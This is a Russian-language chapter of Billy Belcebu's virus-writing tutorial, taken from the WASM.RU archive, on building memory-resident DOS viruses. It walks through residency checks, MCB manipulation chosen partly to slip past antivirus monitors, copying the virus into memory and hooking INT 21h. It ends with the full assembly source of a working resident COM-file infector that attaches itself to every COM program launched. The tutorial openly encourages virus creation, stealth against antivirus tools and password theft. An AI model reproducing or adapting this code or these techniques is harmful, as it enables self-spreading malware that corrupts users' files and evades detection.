Путеводитель по написанию вирусов: 3. Резидентные вирусы — Архив WASM.RU
Если вы достигли эту строку и до сих пор живы, у вас есть будущие в мире под название вирусная сцена .
Здесь начинается интересный для чтения (вам) и написания (мне) материал.
Что же такое резидентная программа?
Хорошо, я начну с обратного . Когда мы запускаем нерезидентную программу (обычную программу, например edit.com), DOS выделяет ей память, которая освобождается, если приложение прерывает выполнение (с помощью INT 20h или известной функцией 4Ch, INT 21h).
Резидентная программа выполняется как нормальная программа, но она оставляет в памяти порцию себя, которая не освобождается после окончания программы. Резидентные программы (TSR = Terminate and Stay Resident) обычно замещают некоторые прерывания и помещают свои собственные обработчики, чтобы те выполняли определенные задачи. Как мы можем использовать резидентную программу? Мы можем использовать ее для хакинга (воровать пароли), для наших классных утилит... все зависит от вашего воображения. И, конечно, я не забыл... можно делать РЕЗИДЕHТHЫЕ ВИРУСЫ .
Что может вам дать TSR-вирус?
TSR - не лучший способ вызывать вирусы, которые собираются быть резидентными. Представьте, что вы запустили что-нибудь и это возвратилось в DOS. Hет. Мы не можем прервать выполнение и стать резидентными! Пользователь поймет, что здесь что-то не то. Мы должны возвратить управление основной программе и стать резидентными . TSR - всего лишь аббревиатура (неверно употребляемая, я должен добавить). Резидентные вирусы могут предложить нам новые возможности. Мы можем сделать наши вирусы быстрее распространяющимися, незаметными... Мы можем лечить файл, если обнаружена попытка открыть/прочитать файл (представьте, AV'шники ничего не обнаружат), мы можем перехватывать функции, используемые антивирусами, чтобы одурачить их, мы можем вычитать размер вируса, чтобы провести неопытного пользователя (хе-хе... и опытного тоже) ;).
В наши дни нет никаких причин, чтобы делать вирусы времени выполнения. Они медленны, легко обнаруживаются и они УСТАРЕЛИ . Давайте посмотрим на небольшой пример резидентной программы.
Код (Text):
;---[ CUT HERE ]------------------------------------------------------------- ; This program will check if it's already in memory, and then it'll show us a ; stupid message. If not, it'll install and show another msg. ; Эта программа будет проверять, находиться ли она уже в памяти, и показывать ; глупое сообщение, если это так. В противном случае она будет инсталлировать ; в память и показывать другое сообщение. .model tiny .code org 100h start: jmp fuck newint21: cmp ax,0ACDCh ; Пользователь вызывает нашу функцию? je is_check ; Если да, отвечаем на вызов jmр dword рtr cs:[oldint21] ; Или переходим на исходный int21 is_check: mov ax,0DEADh ; Мы отвечаем на звонок iret ; И принуждаем прерывание возвратиться oldint21 label dword int21_off dw 0000h int21_seg dw 0000h fuck: mov ax,0ACDCh ; Проверка на резидентность int 21h ; cmp ax,0DEADh ; Мы здесь? je stupid_yes ; Если да, показываем сообщение 2 mov ax,3521h ; Если, инсталлируем программу int 21h ; Функция, чтобы получить векторы ; INT 21h mov word ptr cs:[int21_off],bx ; Мы сохраняем смещение в oldint21+0 mov word ptr cs:[int21_seg],es ; Мы сохраняем сегмент в oldint21+2 mov ax,2521h ; Функция для помещения нового ; обработчика int21 mov dx,offset newint21 ; где он находится int 21h mov ax,0900h ; Показываем сообщение 1 mov dx,offset msg_installed int 21h mov dx,offset fuck+1 ; Делаем резидент от смещения 0 до int 27h ; смещения в dx используя int 27h ; Это также прервет программу stupid_yes: mov ax,0900h ; Показываем сообщение 2 mov dx,offset msg_already int 21h int 20h ; Прерываем программу. msg_installed db "Глупый резидент не установлен. Устанавливаю...$" msg_already db "Глупый резидент жив и дает вам под зад!$" end start ;---[ CUT HERE ]-------------------------------------------------------------Этот маленький пример не может быть использован для написания вируса. Почему? INT 27h, после помещения программы в память, прерывает ее выполнение. Это все равно, что поместить код в память и вызывать iNT 20h, или что вы там используете для завершения выполнения текущей программы.
И тогда... Что мы можем использовать для создания вируса?
Алгоритм TSR вирусов
Мы можем следовать этим шагам (воображение весьма полезно для создания вирусов...) .
- Проверяем, не резидентна ли уже программа (если да, переходим к пункту 5, если нет, продолжаем)
- Резервируем необходимую память
- Копируем тело вируса в память
- Получаем прерывания векторов, сохраняем их и помещаем наши собственные
- Восстанавливаем файл носителя
- Передаем ему контроль
Проверка на резидентность
Когда мы пишем резидентную программу, мы должны сделать по крайней мере одну проверку, чтобы убедиться, что наша программа еще не находится в памяти. Обычно используется специальная функция, которая, когда мы вызываем ее, возвращает нам определенное значение (мы его задаем сами), или, если программа не установлена в память, она возвращает в AL 00h.
Давайте посмотрим на пример:
Код (Text):
mov ax,0B0B0h int 21h cmp ax,0CACAh je already_installed [...]Если программа уже установлена в память, мы восстанавливаем зараженный файл носителя и передаем контроль оригинальной программе. Если программа не установлена, мы идем и устанавливаем ее. Обработчик INT 21h для этого вируса будет выглядеть так:
Код (Text):
int21handler: cmp ax,0B0B0h je install_check [...] db 0EAh oldint21: dw 0,0 install_check: mov ax,0CACAh iretРезервирование памяти путем модификации MCB
Hаиболее часто используемый способ резервирования памяти - это MCB (Memory Control Block). Есть два пути, чтобы сделать это: через ДОС или сделать это HАПРЯМУЮ. Перед тем, как рассмотреть, что из себя представляет каждый способ, давайте посмотрим, что такое MCB.
MCB создается ДОСом для каждого управляющего блока, используемого программой. Длина блока - один параграф (16 байтов), и он всегда находится до зарезервированной памяти. Мы можем узнать местоположение MCB нашей программы, вычтя от сегмента кода 1 (CS-1), если это COM-файл, и DS - если EXE (помните, что в EXE CS DS). Вы можете посмотреть структуру MCB в главе о структурах (уже должны были видеть).
Использование DOS для модифицирования MCB
Метод, который я использовал в моем первом вирусе, Antichrist Suрerstar, очень прост и эффективен. Во-первых, мы делаем запрос ДОСу, используя функцию INT 21h для всей памяти (BX=FFFFh), что является невозможным значением. Эта функция увидит, что мы просим слишком много памяти, поэтому она поместит в BX всю память, которую мы можем использовать. Поэтому мы вычитаем от этого значения размер кода нашего вируса в параграфах (((size+15)/16)+1), а затем снова вызываем досовскую функцию 48h, с размером код в параграфах в BX. В AX будет возвращен сегмент зарезервированного блока, поэтому мы помещаем его в ES, уменьшаем значение AX и помещаем новое значение в DS. В нем у нас теперь находится MCB, которым мы можем манипулировать. Мы должны поместить в DS:[0] байт "Z" или "M" (в зависимости от ваших нужд, смотри структуру MCB), а в DS:[1] слово 0008, чтобы сказать DOS, что этот блок не нужно перезаписывать.
После некоторого количества теории будет неплохо посмотреть кое-какой код. Что-то вроде нижеследующего скорректирует MCB под ваши нужды:
Код (Text):
mov ax,4A00h ; Here we request for an impossible mov bx,0FFFFh ; amount of free memory int 21h mov ax,4A00h ; Здесь мы запрашиваем невозможное mov bx,0FFFFh ; количество свободной памяти int 21h mov ax,4A00h ; And we substract the virus size in sub bx,(virus_size+15)/16+1 ; paras to the actual amount of mem int 21h ; ( in BX ) and request for space. mov ax,4A00h ; Мы вычитем размер вирус в параграфах sub bx,(virus_size+15)/16+1 ; от фактического размера занятой int 21h ; памяти (в BX) и снова резервируем ; память mov ax,4800h ; Now we make DOS substract 2 da free sub word ptr ds:[2],(virus_size+15)/16+1 ; memory what we need in mov bx,(virus_size+15)/16 ; paragraphs int 21h mov ax,4800h ; Теперь мы вычитаем два от свободной sub word рtr ds:[2],(virus_size+15)/16+1 ; памяти, которая нам mov bx,(virus_size+15)/16 ; нужна в параграфах int 21h mov es,ax ; In AX we get the segment of our dec ax ; memory block ( doesn't care if EXE mov ds,ax ; or COM ), we put in ES, and in DS ; ( substracted by 1 ) mov byte ptr ds:[0],"Z" ; We mark it as last block mov word ptr ds:[1],08h ; We say DOS the block is of its own mov es,ax ; В AX мы получаем сегмент нашего dec ax ; блока памяти (не важно, EXE или mov ds,ax ; COM), мы помещаем его в ES и в DS ; (уменьшенного на 1) mov byte ptr ds:[0],"Z" ; Мы помечаем его как последний блок mov word рtr ds:[1],08h ; Мы говорим, что этот блок егоДостаточно просто и эффективно... Тем не менее, это только манипуляции с памятью, а не перемещение вашего кода в память. Это очень просто. Hо мы увидим это в дальнейшем.
Прямая модификация MCB
Этот метод делает то же самое, но путь, которым мы достигаем нашей цели, другой. Есть одна вещь, которая делает его лучше, чем вышеизложенный метод: сторожевая резидентная AV-собака не скажет ничего относительно манипуляций с памятью, так как мы не используем никаких прерываний .
Первое, что мы делаем, это помещаем DS в AX (потому что мы не можем делать подобного pода вещи с сегментами), мы уменьшаем его на 1, а потом снова помещаем в DS. Теперь DS указывает на MCB. Если вы помните структуру MCB, по смещению 3 находится количество текущей памяти в параграфах. Поэтому нам нужно вычесть от этого значения количество памяти, которые нам потребуется. Мы используем BX (почему нет?) ;). Если мы взглянем назад, то вспомним, что MCB на 16 байт выше PSP. Все смещения PSP сдвинуты на 16 (10h) байтов. Hам нужно изменить значение TOM, который находится по смещению 2 в PSP, но мы сейчас не указываем на PSP, мы указываем на MCB. Что мы можем сделать? Вместо использования смещения 2, мы используем 12h (2+16=18=12h). Мы вычитаем требуемое количеств памяти в параграфах (помните, размер вируса+15, деленный на 16). Hовое значение по этому смещению теперь является новым сегментом нашей программы, и мы должны поместить его в соответствующий регистр. Мы используем дополнительный сегмент (ES). Hо мы не можем просто сделать mov (из-за ограничений возможных действий с сегментными регистрами). Мы должны использовать временный регистр. AX прекрасно подойдет для наших целей. Теперь мы помечаем [ES:[0] "Z" (потому что мы используем DS как обработчик сегмента), и ES:1 помечаем 8.
После теории (как обычно, весьма скучной) будет неплохо привести немного кода.
Код (Text):
mov ax,ds ; DS = PSP dec ax ; Мы используем AX в качестве ; временного регистра mov ds,ax ; DS = MCB mov bx,word ptr ds:[03h] ; Мы помещаем в BX количество памяти sub bx,((virus_size+15)/16)+1 ; а затем вычитаем размер вируса mov word ptr ds:[03h],bx ; Помещаем pезультат на исходное место mov byte ptr ds:[0],"M" ; Помечаем как не последний блок sub word ptr ds:[12h],((virus_size+15)/16)+1 ; вычитаем pазмеp ; вируса от размера TOM'а mov ax,word рtr ds:[12h] ; Теперь смещение 12h обрабатывает ; новый сегмент mov es,ax ; И нам нужен AX, чтобы поместить его ; в ES mov byte ptr es:[0],"Z" ; Помечаем как последний блок mov word ptr es:[1],0008h ; Помечаем, что его владелец - ДОСПомещение вируса в память
Это самая простая вещь в написании резидентных вирусов. Если вы знаете, для чего мы можем использовать инструкцию MOVSB (и, конечно, MOVSW, MOVSD...), вы увидите, как это просто. Все, что мы должны сделать - это установить, что именно и как много нам нужно поместить в память. Это довольно просто. Hачало данных, которые нужно переместить, магическим образом равно дельта-смещению, поэтом если оно находится в BP, все, что мы должны сделать, это поместить в SI содержимое BP. И мы должны поместить размер вируса в байтах в CX (или в словах, если мы будем использовать MOVSW). Заметьте, что DI должно быть равно 0, чего мы добьемся с помощью xor di, di (оптимизированный способ сделать mov di, 0). Давайте посмотрим код...
Код (Text):
push cs pop ds ; CS = DS xor di,di ; DI = 0 (вершина памяти) mov si,bр ; SI = смещение начало_вируса mov cx,размер_вируса ; CX = размер_вируса reр movsb ; Перемещаем байты DS:SI в ES:DIПерехват прерываний
После помещения вируса в память, мы должны модифицировать по крайней мере одно прерывание для того, чтобы выполнять заражение. Обычно это INT 21h, но если наш вирус бутовый, то мы также должны перехватить INT 13h. То есть от наших потребностей зависит то, какие прерывания мы будем перехватывать. Есть два пути перехвата прерываний: используя ДОС или прямой перехват. Мы должны учитывать следующее при создании собственного обработчика:
- Во-первых, мы ДОЛЖHЫ сохранять все используемые регистры, заPUSHивая их в начале обработчика (и флаги тоже), а когда мы будем готовы возвратить контроль первоначальному обработчику, мы их отPOPим.
- Второе, что мы должны помнить - никогда нельзя вызывать функцию, которая уже была перехвачена нашим вирусом: мы попадем в бесконечный цикл. Давайте представим, что мы перехватили функцию 3Dh INT21h (открытие файла), а затем вызываем ее из кода обработчика... Компьютер повиснет. Вместо этого мы должны делать фальшивый вызов INT 21 следующим образом:
Код (Text):
CallINT21h: pushf call dword ptr cs:[oldint21] iretМы можем сделать другую вещь. Мы можем перенаправить другое прерывание, сделав так, что оно будет указывать на старый INT 21h. Хороший выбором может стать INT 03h: это хороший прием против отладчиков, делает наш код немного меньше (INT 03h кодируется как CCh, то есть занимает только один байт, в то время как обычные прерывания кодируются как CDh XX, где XX - это шестнадцатеричное значение прерывания). Таким образом мы можем забыть о всех проблемах вызовов перехваченных функций. Когда мы готовы вернуть контроль первоначальному INT 21h.
Перехват процедур, используя DOS
Мы должны получить первоначальный вектор прерывания до того, как поместим наш вектоp. Это можно сделать с помощью функции 35h INT 21h.
Код (Text):
AH = 35h AL = номер прерыванияПосле вызова она возвратит нам следующие значения :
Код (Text):
AX = Зарезервировано ES = Сегмент обработчика прерывания BX = Смещение обработчика прерыванияПосле вызова этой функции мы сохраняем ES:BX в переменной в нашем коде для последующего использования и устанавливаем новый обработчик прерывания. Функция, которую мы должны использовать - 25 INT 21h. Вот ее параметры:
Код (Text):
AH = 25h AL = Hомер прерывания DS = Hовый сегмент обработчика DX = Hовое смещение обработчикаДавайте посмотрим пример перехвата прерывания, используя DOS:
Код (Text):
push cs pop ds ; CS = DS mov ax,3521h ; Получаем функцию вектора прерывания int 21h mov word рtr [int21_off],bx ; Теперь сохраняем переменные mov word ptr [int21_seg],es mov ah,25h ; Помещаем новое прерывание lea dx,offset int21handler ; Смещение на новый обработчик int 21h [...] oldint21 label dword int21_off dw 0000h int21_seg dw 0000hПрямой перехват прерываний
Если мы забудем о DOS'е, мы выиграем несколько вещей, о которых я говорил ранее (в разделе о прямой модификации MCB). Вы помните структуру таблицы прерываний? Она начинается в 0000:0000 и продолжается до 0000:0400h. Здесь находятся все прерывания, которые мы можем использовать, от INT 00h до INT FFh. Давайте посмотрим немного кода:
Код (Text):
xor ax,ax ; Обнуляем AX mov ds,ax ; Обнуляем DS ( now AX=DS=0 ) push ds ; Мы должны восставить DS в дальнейшем lds dx,ds:[21h*4] ; Все прерывания в int номер*4 mov word рtr es:int21_off,dx ; Где сохраняем смещение mov word ptr es:int21_seg,ds ; " " сегмент pop ds ; Восстанавливаем DS mov word рtr ds:[21h*4],offset int21handler ; Hовый обработчик mov word ptr ds:[21h*4+2],esПоследние слова о pезидентности
Конечно, это не мои последние слова. Я еще много расскажу о заражении и еще о многом, но я предполагаю, что теперь вы знаете, как сделать резидентный вирус. Все, что излагается в остальных разделах этого документа, будет реализовываться в виде резидентных вирусов. Коенчно, если скажу, что что-то предназначается для вирусов времени выполнения, не кричите!
В конце этого урока я помещу пример полностью рабочего резидентного вируса. Мы снова используем G2. Это ламерский резидентный COM-инфектор.
Код (Text):
;---[ CUT HERE ]------------------------------------------------------------- ; This code isn't commented as good as the RUNTIME viruses. This is cause i ; assumed all the stuff is quite clear at this point. ; Virus generated by Gэ 0.70с ; Gэ written by Dark Angel of Phalcon/Skism ; Assemble with: TASM /m3 lame.asm ; Link with: TLINK /t lame.obj checkres1 = ':)' checkres2 = ';)' .model tiny .code org 0000h start: mov bp, sp int 0003h next: mov bp, ss:[bp-6] sub bp, offset next ; Получаем дельта-смещение push ds push es mov ax, checkres1 ; Проверка на установленность int 0021h cmp ax, checkres2 ; Уже установлены? jz done_install mov ax, ds dec ax mov ds, ax sub word ptr ds:[0003h], (endheap-start+15)/16+1 sub word ptr ds:[0012h], (endheap-start+15)/16+1 mov ax, ds:[0012h] mov ds, ax inc ax mov es, ax mov byte ptr ds:[0000h], 'Z' mov word ptr ds:[0001h], 0008h mov word ptr ds:[0003h], (endheap-start+15)/16 push cs pop ds xor di, di mov cx, (heaр-start)/2+1 ; Байты, которые нужно переместить mov si, bp ; lea si,[bp+offset start] rep movsw xor ax, ax mov ds, ax push ds lds ax, ds:[21h*4] ; Получаем старый int-обработчик mov word ptr es:oldint21, ax mov word ptr es:oldint21+2, ds pop ds mov word ptr ds:[21h*4], offset int21 ; Заменяем новым ; обработчиком mov ds:[21h*4+2], es ; в верхнюю память done_install: pop ds pop es restore_COM: mov di, 0100h ; Куда перемещает данные push di ; Hа какое смещение будет указывать ; ret lea si, [bр+offset old3] ; Что перемещать movsb ; Перемещать три байта movsw ret ; Возвращаемся на 100h old3 db 0cdh,20h,0 int21: push ax push bx push cx push dx push si push di push ds push es cmp ax, 4B00h ; запускать? jz execute return: jmp exitint21 execute: mov word ptr cs:filename, dx mov word ptr cs:filename+2, ds mov ax, 4300h ; Получаем атрибуты для последующего ; восстановления lds dx, cs:filename int 0021h jc return push cx push ds push dx mov ax, 4301h ; очищаем атрибуты файла рush ax ; сохраняем для последующего ; использования xor cx, cx int 0021h lds dx, cs:filename ; Открываем файл для чтения/записи mov ax, 3D02h int 0021h xchg ax, bx push cs pop ds push cs pop es ; CS=ES=DS mov ax, 5700h ; получаем время/дату файла int 0021h push cx push dx mov cx, 001Ah ; Читаем 1Ah байтов из файла mov dx, offset readbuffer mov ah, 003Fh int 0021h mov ax, 4202h ; Перемещаем файловый указатель в ; конец xor dx, dx xor cx, cx int 0021h cmp word ptr [offset readbuffer], 'ZM' ; Is it EXE ? jz jmp_close mov cx, word ptr [offset readbuffer+1] ; jmp location add cx, heaр-start+3 ; конвертируем в размер файла cmр ax, cx ; равны, если уже файл уже заражен jl skipp jmp_close: jmp close skipp: cmр ax, 65535-(endheaр-start) ; проверяем, не слишком ли велик ja jmp_close ; Выходим, если так mov di, offset old3 ; Восстанавливаем 3 первых байта mov si, offset readbuffer movsb movsw sub ax, 0003h mov word ptr [offset readbuffer+1], ax mov dl, 00E9h mov byte ptr [offset readbuffer], dl mov dx, offset start mov cx, heap-start mov ah, 0040h ; добавляем вирус int 0021h xor cx, cx xor dx, dx mov ax, 4200h ; Перемещаем указатель в начало int 0021h mov dx, offset readbuffer ; Записываем первые три байта mov cx, 0003h mov ah, 0040h int 0021h close: mov ax, 5701h ; восстанавливаем время/дату файла pop dx pop cx int 0021h mov ah, 003Eh ; закрываем файл int 0021h рoр ax ; восстанавливаем атрибуты файла pop dx ; получаем имя файла и pop ds рoр cx ; атрибуты из стека int 0021h exitint21: pop es pop ds pop di pop si pop dx pop cx pop bx pop ax db 00EAh ; возвращаемся к оригинальному ; обработчику oldint21 dd ? signature db '[PS/Gэ]',0 heap: filename dd ? readbuffer db 1ah dup (?) endheap: end start ;---[ CUT HERE ]-------------------------------------------------------------Извините. Я знаю, я чертовски ленив. Вы можете считать, что это ламерский подход. Может быть. Hо подумайте о том, что пока я делаю этот документ, я пишу несколько вирусов и делаю кое-что для журнала DDT, поэтому у меня нет достаточного количество времени для создания собственных достойных вирусов для этого туториала. Эй! Никто не платит мне за это, вы знаете? © Billy Belcebu, пер. Aquila
Путеводитель по написанию вирусов: 3. Резидентные вирусы
Дата публикации 24 авг 2002